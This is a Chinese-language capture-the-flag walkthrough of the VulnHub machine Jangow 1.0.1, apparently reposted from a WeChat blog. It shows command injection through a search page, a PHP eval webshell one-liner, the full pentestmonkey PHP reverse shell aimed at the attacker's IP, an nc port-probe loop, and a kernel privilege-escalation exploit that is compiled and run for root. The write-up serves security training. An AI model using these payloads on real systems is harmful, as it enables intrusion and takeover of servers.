Jangow: 1.0.1靶场渗透测试

admin 2025年2月9日00:49:44评论7 views字数 4783阅读15分56秒阅读模式
01
前言
1.1
 下载安装
下载地址:/https://www.vulnhub.com/entry/jangow-101,754/选择镜像文件进行下载。下载后解压是一个ova文件,在虚拟机中选择-打开虚拟机,选择此文件,然后修改系统网卡为NAT,在高级选项中注意网卡的MAC地址,方便后续查出本机IP。
Jangow: 1.0.1靶场渗透测试
1.2
 文件信息
MD5 :B9E912D79CC304676E1A07558284B8ABSHA1:3E50B4168FA2D83AA10F05D2F66C5A7071F3C927
1.3
 注意事项
未探测出IP地址,具体操作步骤如下:

1. 设置虚拟机网络为 NAT 模式

在 VMware 中,将 Kali Linux 和 靶机 都设置为 NAT 模式,以确保它们能通过宿主机共享网络连接。

2. 启动靶机并进入单用户模式

启动靶机,在出现蓝色引导界面时,按下 e 键进入编辑模式。

3. 修改启动参数

在编辑界面中,找到并修改启动项,将包含的 ro(只读)修改为 rw(读写),并且在参数末尾添加signie init=/bin/bash,使其进入单用户模式。

这样修改后,按下 Ctrl + X 启动系统。

4. 查看网络状态

进入单用户模式后,使用 ifconfig 命令查看网络状况,发现系统提示 ifconfig 命令不可用。

切换使用 ip address 命令来查看网络接口的状态。

5. 修改网卡名称

发现网络接口的名称为 enp0s3,需要将其修改为 ens33。

进入网络配置文件进行修改:vi /etc/network/interfaces

(路径记忆方法:/etc 配置文件部分 -> network 部分 -> interfaces 配置文件部分 -> 网络接口部分)

6. 保存并退出

在 vi 编辑器中,修改完成后按 Esc 键,输入 :wq 保存并退出。

注意: 在 vi 编辑器中,删除字符时只能使用Delete键,Backspace键只能移动光标,不能删除字符。与 vim 类似,但操作起来可能稍显不便。

7. 重启网络服务

修改网络配置后,重启网络服务:/etc/init.d/networking restart

8. 检查 IP 配置

再次使用 ip address 命令查看,确认网络接口已分配到正确的 IP 地址。

9. 完成配置并重启系统

完成网络配置后,进行系统关机并重启。注意:必须关机重启,而不是仅仅重启网络服务,因为有些端口可能尚未打开,只有重启系统后,端口才会完全生效。

02
目标
2.1
 靶场目标
文件上传获得user.txt,获取root权限获得proof.txt
user.txt:d41d8cd98f00b204e9800998ecf8427eproof.txt:da39a3ee5e6b4b0d3255bfef95601890afd8070
03
渗透测试步骤
3.1
 信息收集
确定IP地址、开放端口、目录扫描、网站访问。
3.1.1 确定IP地址
使用nmap扫描,发现IP地址为:192.168.241.139(MAC地址与靶机地址一致)。Jangow: 1.0.1靶场渗透测试

3.1.2 端口扫描
使用nmap扫描,发现开放21和80端口。

nmap -sV -v -T4 -A192.168.241.139

Jangow: 1.0.1靶场渗透测试

3.1.3 网站访问

访问http://192.168.241.139,发现site文件夹。

Jangow: 1.0.1靶场渗透测试

再次访问后,跳转到网站首页。

Jangow: 1.0.1靶场渗透测试

在http://192.168.241.139/site/busque.php?buscar=页面,发现可以执行命令。

Jangow: 1.0.1靶场渗透测试

Jangow: 1.0.1靶场渗透测试

3.1.4 目录扫描
扫描80端口,发现/.backup页面。Jangow: 1.0.1靶场渗透测试

经过访问,发现数据库连接账密。

Jangow: 1.0.1靶场渗透测试

扫描site页面并未发现有用信息。

Jangow: 1.0.1靶场渗透测试

3.2
 漏洞利用
文件上传、获得user.txt值、反弹shell。
3.2.1 文件上传
http://192.168.241.139/site/busque.php?buscar=页面可执行命令,上传木马文件试试。

echo'<?php eval($_POST["shell"]);' >> shell.php

Jangow: 1.0.1靶场渗透测试

上传成功,发现shell.php文件。

Jangow: 1.0.1靶场渗透测试

使用哥斯拉进行连接。

Jangow: 1.0.1靶场渗透测试

3.2.2 获得user.txt值
在home/janow01目录下获得user.txt文件。可看到值为:

d41d8cd98f00b204e9800998ecf8427e

Jangow: 1.0.1靶场渗透测试

3.2.3 反弹shell

创建一个php文件,输入以下命令。

<?php// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php// Copyright (C) 2007 [email protected]set_time_limit (0);$VERSION = "1.0";$ip = '192.168.241.138';$port = 9876;$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; sh -i';$daemon = 0;$debug = 0;if (function_exists('pcntl_fork')) {$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}if (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");}chdir("/");umask(0);// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}$descriptorspec = array(0 => array("pipe""r"),  // stdin is a pipe that the child will read from1 => array("pipe""w"),  // stdout is a pipe that the child will write to2 => array("pipe""w")   // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}stream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {if (feof($sock)) {printit("ERROR: Shell connection terminated");break;}if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);function printit ($string) {if (!$daemon) {print"$stringn";}}?>
Jangow: 1.0.1靶场渗透测试文件授予可执行权限。

Jangow: 1.0.1靶场渗透测试

kali linux监听,始终失败,换了好几个端口也不行。

换个方法:使用iptables把所有流量转发到一个指定的端口。随后上传脚本探测,即可获得端口开放信息。

攻击机输入以下命令:

iptables -A PREROUTING -D nat -p tcp --dport80:500 -j REDIRECT --to-port 9875

靶机新建DK.sh文件,并上传以下代码:

for i in {400..450};dotimeout 1 nc -vz 192.168.241.138 $i && echo"$i open" >> 1.txt || echo"$i closed" >> 1.txt;done
执行命令。Jangow: 1.0.1靶场渗透测试

探测到开放了443端口。

Jangow: 1.0.1靶场渗透测试

将反弹端口改为443,重新监听。

监听成功,创建交互式shell。

 python3 -c 'import pty;pty.spawn("/bin/bash")'

Jangow: 1.0.1靶场渗透测试

3.3
 权限提升
寻找可利用漏洞获取最高权限,查阅proof.txt文件信息。
3.3.1 寻找可利用漏洞
反弹shell监听成功后,发现该靶场版本为Ubuntu 4.4.0-31。在msf中寻找可利用漏洞,发现linux/local/45010.c

serarchsploit ubuntu 4.4.0-31

Jangow: 1.0.1靶场渗透测试

将该文件复制到根目录。

searchsploit -m linux/local/45010.c

Jangow: 1.0.1靶场渗透测试

开启http服务,下载该文件到靶机。

python -m http.server 6654

Jangow: 1.0.1靶场渗透测试

Jangow: 1.0.1靶场渗透测试

Jangow: 1.0.1靶场渗透测试

上传失败,手动上传到靶机。

Jangow: 1.0.1靶场渗透测试

对该文件进行编译,获得可执行文件。

gcc 45010.c -o FVV

Jangow: 1.0.1靶场渗透测试

执行该文件,获取root权限。

./FVV

Jangow: 1.0.1靶场渗透测试

3.3.2 获得proof.txt文件信息。
跳转到root目录,查看proof.txt文件。

da39a3ee5e6b4b0d3255bfef95601890afd80709
Jangow: 1.0.1靶场渗透测试
 

原文始发于微信公众号(暗魂攻防实验室):【渗透测试】Jangow: 1.0.1靶场渗透测试

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月9日00:49:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jangow: 1.0.1靶场渗透测试https://cn-sec.com/archives/3716384.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息